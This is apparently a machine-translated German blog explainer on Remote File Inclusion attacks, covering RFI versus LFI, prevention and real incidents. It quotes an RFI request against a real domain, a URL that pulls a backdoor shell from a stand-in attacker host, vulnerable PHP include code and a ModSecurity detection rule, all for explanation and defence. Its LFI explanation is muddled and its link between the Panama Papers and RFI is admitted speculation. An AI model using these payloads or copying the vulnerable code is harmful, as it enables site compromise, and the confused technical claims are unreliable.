6. August 1991. Sagt Ihnen das Datum etwas? Nein, es war nicht der Zusammenbruch der Sowjetunion (obwohl Sie nahe dran sind). An diesem ansonsten unscheinbaren Sommertag stellte Tim Berners-Lee die allererste Webseite ins Netz. Seitdem sind mehr als dreißig Jahre vergangen, und Websites haben einen weiten Weg zurückgelegt, nicht wahr? Die einst statische Hülle ist verschwunden, und die Webseiten sind dynamisch, interaktiv und ausgefeilter als je zuvor. Aber mit großer Macht kommt auch große Verantwortung und Anfälligkeit, und hier kommen die Remote File Inclusion Exploits ins Spiel. Was ist Remote File Inclusion (RFI), werden Sie sich fragen? Genau das wollen wir hier besprechen, also schnallen Sie sich an, denn es wird eine holprige Fahrt.
Was bedeutet Remote File Inclusion (RFI)?
Mit möglichst wenig technischem Fachjargon ausgedrückt, bedeutet Remote File Inclusion (RFI), dass Sie Dateien von entfernten Webservern in nicht verwandte Webseiten einfügen. Bei den heutigen Websites können Sie das tun und tun es meistens auch absichtlich. Normalerweise fügen Sie entfernte Dateien ein, um Inhalte von entfernten Webanwendungen anzuzeigen. Solange die Webanwendung externe Inhalte (Dateien, Skripte, usw.) dynamisch einbindet, ist die Einbindung entfernter Dateien immer möglich.
Und in guten Händen kann diese Einstellung viel Gutes bewirken, indem sie die Kommunikation zwischen entfernten Webseiten vereinfacht und die Ausgabe von Seiteninhalten durch den Empfänger erhöht. In den falschen Händen kann dieselbe Einstellung jedoch zu einem Angriff mit entfernter Dateieinbindung führen, und diese können kritisch sein.
Wie sind Remote File Inclusion Attacken möglich?
The hackers’ goal is to trick the web app’s referencing function into uploading malware (like backdoor shells) from remote URLs within different domains.
When they’re able to do so, a successful remote file inclusion attack can cause serious trouble. Sensitive information theft, compromised servers, complete site takeovers where the hackers can modify its content, the list goes on.
To give you the gist, the whole process looks a little something like this:
- Mithilfe einer Suchmaschine identifizieren Angreifer Webseiten, die anfällige Komponenten enthalten bzw. darauf laufen. Obwohl dies etwas seltener vorkommt, können Hacker auch Scanner verwenden, um diese Webseiten zu identifizieren.
- Die Angreifer nutzen die Schwachstelle in der Remote-Dateieinbindung der Seiten aus und laden bösartige Software auf die Webanwendung.
- Sobald die Malware installiert ist, ist die Anwendung/Seite kompromittiert. Die Hacker können die gesamte Seite verändern, verunstalten oder löschen.
- Von dort aus können die Angreifer auch den Server kapern. Wenn sie ihn als DDoS-Bot verwenden, können sie mehrere Websites gefährden.
- Daten werden offengelegt. Sensible Informationen (einschließlich Kennwörtern) sind zum Greifen nahe.
Was ist der Unterschied zwischen RFI und LFI?
Sie haben schon einmal von Angriffen auf lokale Dateien gehört? Prima. Sie kennen den Unterschied zwischen lokalen und entfernten Dateieinbindungsangriffen nicht so genau? Keine Sorge, wir haben Sie.
Im Gegensatz zu RFI-Angriffen handelt es sich bei der lokalen Variante um Vektoren, bei denen es darum geht, bösartige Inhalte über Webbrowser auf Server hochzuladen. Da sie sich recht ähnlich sind, werden diese beiden Vektoren oft zusammen genannt, wenn von Schwachstellen beim Einschluss von Dateien die Rede ist.
Ob ferngesteuert oder nicht, der Angriff kann als erfolgreich bezeichnet werden, wenn es den Hackern gelingt, Malware auf die Zielserver hochzuladen. Der Unterschied zwischen den beiden Angriffen liegt in der Mitte. Im Gegensatz zu Angriffen mit entfernter Dateieinbindung beruhen LFI-Angriffe auf der Ausnutzung unsicherer lokaler Datei-Upload-Funktionen.
Wenn sie nicht in der Lage sind, vom Benutzer eingegebene und kontrollierte Eingaben zu validieren, können böswillige Charaktere einen Exploit zur Umgehung von Verzeichnispfaden hochladen und ausführen.
Mit dieser Methode können Hacker Malware auf ein kompromittiertes System hochladen, ohne virtuelle Umwege zu gehen. Die Nutzer des Remote-File-Inclusion-Angriffs hingegen müssen die Datei über eine temperierte externe Referenzierungsfunktion von einem entfernten Standort abrufen.
Sie haben das Thema noch nicht ganz im Griff? Das macht nichts. Nehmen wir ein paar Beispiele heraus, um zu sehen, wie diese Schwachstellen in freier Wildbahn aussehen.
Beispiele für die Einbindung entfernter Dateien
Auch hier wird ein Angriff mit entfernter Dateieinbindung möglich, wenn die Hacker Dateien von entfernten Webservern in nicht verbundene Webseiten einfügen. Wie können sie das tun? Mit diesen (und anderen) Methoden:
Der Fall des nachgestellten Fragezeichens
Das Hinzufügen eines Fragezeichens am Ende der injizierten RFI-Nutzdaten gehört zu den häufigsten und am häufigsten verwendeten RFI-Techniken. Diese Methode leiht sich eine Seite aus dem Buch der SQL-Injektionen und verwendet Kommentarzeichen (-, ;- oder #), die am Ende des Payloads eingefügt werden.
Das macht Sinn, weil die Hintermänner des RFI-Angriffs das tun, was der Rest des PHP-Codes (den sie infizieren) tun soll. Da dies der Fall ist, sorgen die “?”-Zeichen dafür, dass das System den unangetasteten Code als Parameter für den eingeschleusten RFI-Code behandelt. Von da an “ignoriert” der RFI-Code den legitimen Code und führt stattdessen nur seinen eigenen aus. Ein typischer Angriff mit einem nachgestellten Fragezeichen sieht in etwa so aus:
| 1 2 3 | GET//components/com_pollxt/conf.pollxt.php?mosConfig_absolute_path=http://www.miranda.gov.ve/desamiranda/libraries/export/cgi??? HTTP/1.0 |
Der effizienteste (und einfachste) Weg, einen solchen Angriff zu erkennen, ist die Suche nach “(ft|htt)ps?.*\?$”. Um Ihnen ein Beispiel zu geben:
| 1 2 3 | SecRule ARGS "(?:ft|htt)ps?.*\?+$" \ "phase:2,rev:'2.2.2',t:none,t:htmlEntityDecode,t:lowercase,capture,ctl:auditLogParts=+E,block,status:501,msg:'Remote File Inclusion Attack',id:'950119',severity:'2',setvar:'tx.msg=%{rule.msg}',setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},setvar:tx.rfi_score=+%{tx.critical_anomaly_score},setvar:tx.%{rule.id}-WEB_ATTACK/RFI-%{matched_var_name}=%{tx.0}" |
Der Fall der Anfrageparameter
Die vielleicht zweitbeliebteste Angriffstechnik unter den Nutzern von RFI-Schwachstellen ist die Manipulation der Anforderungsparameter, so dass sie auf entfernte bösartige Dateien verweisen. Werfen Sie zur Veranschaulichung einen Blick auf den folgenden Code:
| 1 2 3 | $incfile = $_REQUEST["file"]; include($incfile.".php"); |
In diesem Fall ist die erste Zeile damit beschäftigt, den Wert des Dateiparameters aus der folgenden HTTP-Anforderung zu extrahieren, während die zweite Zeile diesen Wert dynamisch zum Namen der Datei macht. Da der Wert des Dateiparameters nicht ordnungsgemäß bereinigt wird, können die Hacker diesen Code ausnutzen und nicht autorisierte Dateien hochladen.
Betrachten Sie die folgende URL-Zeichenfolge: http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor_. Hier handelt es sich um einen externen Verweis, der eine an einem entfernten Ort gespeicherte Backdoor-Datei hinzufügt (http://www.hacker.com/backdoor_shell.php.).
Sobald diese kleine Hintertür in die Anwendung hochgeladen wurde, ist es ein Kinderspiel, die zugrunde liegende Struktur des Servers zu kapern und Zugriff auf die Datenbank der Anwendung zu erlangen.
Nachdem sie in die Anwendung hochgeladen wurde, kann diese Backdoor später dazu verwendet werden, den zugrunde liegenden Server zu kapern oder Zugriff auf die Anwendungsdatenbank zu erhalten.
Obwohl es unzählige Backdoor-Shells gibt, entscheiden sich die meisten RFI-Angreifer für die R57.
Der PHP-Dateifall
Stellen Sie sich einen Entwickler vor, der mit einem GET-Parameter eine lokale Datei einbinden möchte, die der angegebenen Seite entspricht. Diese Person würde mit verschiedenen PHP-Dateien wie contact.php, main.php und about.php arbeiten. Wie Sie wissen, bieten alle diese Dateien unterschiedliche Funktionen für die Webseite. Dennoch können Sie jede Datei mit der unten stehenden Anfrage aufrufen, die Sie an die Datei index.php senden:
| 1 2 3 | https://example.com/index.php?page=contact.php |
In diesem Fall würde der Entwickler erwarten, dass nur die Dateien innerhalb dieses Ordners eingeschlossen werden. Es ist jedoch möglich, dass Angreifer Dateien aus einem anderen Verzeichnis (LFI) oder von ganz anderen Webservern (RFI) einschließen. Das ist vor allem dann der Fall, wenn die Webanwendung keine Whitelist für Dateien hat.
Wenn Sie keine Whitelist mit den einzig erlaubten Dateien haben, können Hacker den Dateipfad einfach in die Include-Funktion (oder deren Äquivalent in einer anderen Programmiersprache) umwandeln. Angreifer können auch lokale Dateien einbinden, aber in den meisten Fällen ändern sie einfach den Pfad zu der Datei, die sich auf dem vom Hacker kontrollierten Rechner befindet.
Bei erfolgreicher Ausführung können die Angreifer bösartigen Code in die Datei schreiben, ohne Protokolle zu vergiften oder Code in den Webserver zu injizieren.
Real-Life RFI Beispiele
Trotz seiner Einfachheit hat der RFI-Angriffsvektor schon viele Male großen Schaden angerichtet. Im Folgenden werden die wichtigsten Beispiele genannt:
Der LulzSec-Kreuzzug
Die selbsternannte Sicherheitsgemeinschaft behandelt Sicherheitslücken bei der Einbindung entfernter Dateien selten mit dem Respekt, den sie verdienen. Sicher, es ist nicht der raffinierteste Angriff, den es gibt. Nichtsdestotrotz kann er enorme Auswirkungen haben, und manchmal hat er sie auch.
Der bekannteste RFI-Angriff wurde vor mehr als 10 Jahren durchgeführt. Mitte Mai 2011 fand eine Hackergruppe, die sich LulzSec nannte, eine Schwachstelle in FOX.com und drang mit RFI-Bots in die Website ein. Mithilfe dieser Bots gelang es ihnen, die persönlichen Daten (Profile und Namen) von 73.000 X Factor US-Kandidaten auszuspähen. Im Anschluss an diesen Vorfall gelang es derselben Gruppe, eine gefälschte Nachricht bei PBS zu platzieren und Daten von 24,6 Millionen Kunden des PlayStation Network von Sony zu stehlen.
Der Vorfall mit den Panama Papers
Die Panama-Papiere, eine Sammlung von 11,5 Millionen Datensätzen von Mossack Fonseca, waren zweifellos einer der wichtigsten und am meisten diskutierten Hacking-Vorfälle des letzten Jahrzehnts. Die Daten wurden 2015 dem deutschen Journalisten Bastian Obermayer zugespielt und im April 2016 an die Öffentlichkeit gebracht. Aufgrund des Umfangs der durchgesickerten Daten wurde das International Consortium of Investigative Journalists kontaktiert.
Falls Sie es nicht wissen: Die Bedeutung des Vorfalls liegt darin, dass praktisch unzählige Persönlichkeiten des öffentlichen Lebens (früher und heute) in den Skandal verwickelt sind. Durch die Enthüllung der zwielichtigen Finanzgeschäfte dieser Personen (einschließlich Verbindungen zu Steueroasen, Drogenkartellen und Terroristen) konnten diese Zeitungen für viel Wirbel sorgen. Einige Personen des öffentlichen Lebens mussten zurücktreten, andere umziehen, und einige wurden aufgrund der undichten Stellen sogar verhaftet.
Kurz gesagt, dieser Vorfall war gewaltig. Es gibt nur einen Vorbehalt: Wir sind nicht sicher, ob es ein Remote File Inclusion-Angriff war, der den endgültigen Schlag versetzte. Da die Website auf einer veralteten Software gehostet wurde (und die Dokumente in Teilen an die Öffentlichkeit gelangten), ist die tatsächliche Angriffsmethode unbekannt. Dennoch gibt es genügend Beweise und Gründe für die Annahme, dass RFI zu den Vektoren gehörte, die die Website zum Einsturz brachten.
RFI-Prävention und -Entschärfung
RFI-Angriffe können großen Schaden anrichten. Die gute Nachricht ist, dass es mehrere Sicherheitsmaßnahmen gibt, die Sie ergreifen können, um Remote File Inclusion-Angriffe zu verhindern und zu entschärfen. Neben dem Schreiben eines tadellosen Codes, der die Schwachstellen minimiert, sind dies die Schritte, die jeder zur RFI-Prävention unternehmen kann:
- Sanitisierung. Eine Technik, bei der Sie möglicherweise schädliche Benutzereingaben ausfindig machen und entfernen.
- Validierung. Hier wird die Benutzereingabe getestet, bevor sie aufgenommen oder ausgeführt wird.
- Scannen auf Schwachstellen. Hier verwenden Sie ein beliebiges effektives Tool, das Ihnen zur Verfügung steht (kommerziell oder kostenlos, solange es funktioniert), um die Anwendung regelmäßig auf potenzielle RFI-Bedrohungen zu überprüfen.
- Whitelist. Erstellen Sie eine Whitelist, die alle verifizierten und gesicherten Dateitypen/Texte für Sie enthält. Alles, was Sie nicht zur Whitelist hinzugefügt haben, kann (und sollte) ignoriert werden.
- Schwarze Liste. Identifizieren Sie die Angreifer und schädlichen URLs, die öffentlich zugänglich sind, und fügen Sie sie der schwarzen Liste hinzu. Sie können auch diejenigen hinzufügen, die bereits versucht haben, Ihre Website und/oder Ihren Server zu infiltrieren.
- Code-Überprüfung. Die Firewall Ihrer Webanwendung sollte über eine Funktion zur Code-Überprüfung verfügen. Aktivieren Sie diese, um Schwachstellen im Code zu finden.
Fazit
Angriffe zur Einbindung entfernter Dateien gehören nicht zu den raffiniertesten Angriffsvektoren, die es gibt. Und genau deshalb können sie eine ernsthafte Bedrohung darstellen. Da Sie nicht daran denken, dass Sie anfällig sind, bis es zu spät ist, können RFI Sie leicht unvorbereitet treffen und Sie dafür bezahlen lassen. Solange Sie die oben genannten Ratschläge nicht ignorieren und Vorsicht walten lassen, sollten Sie jedoch keine Probleme haben.
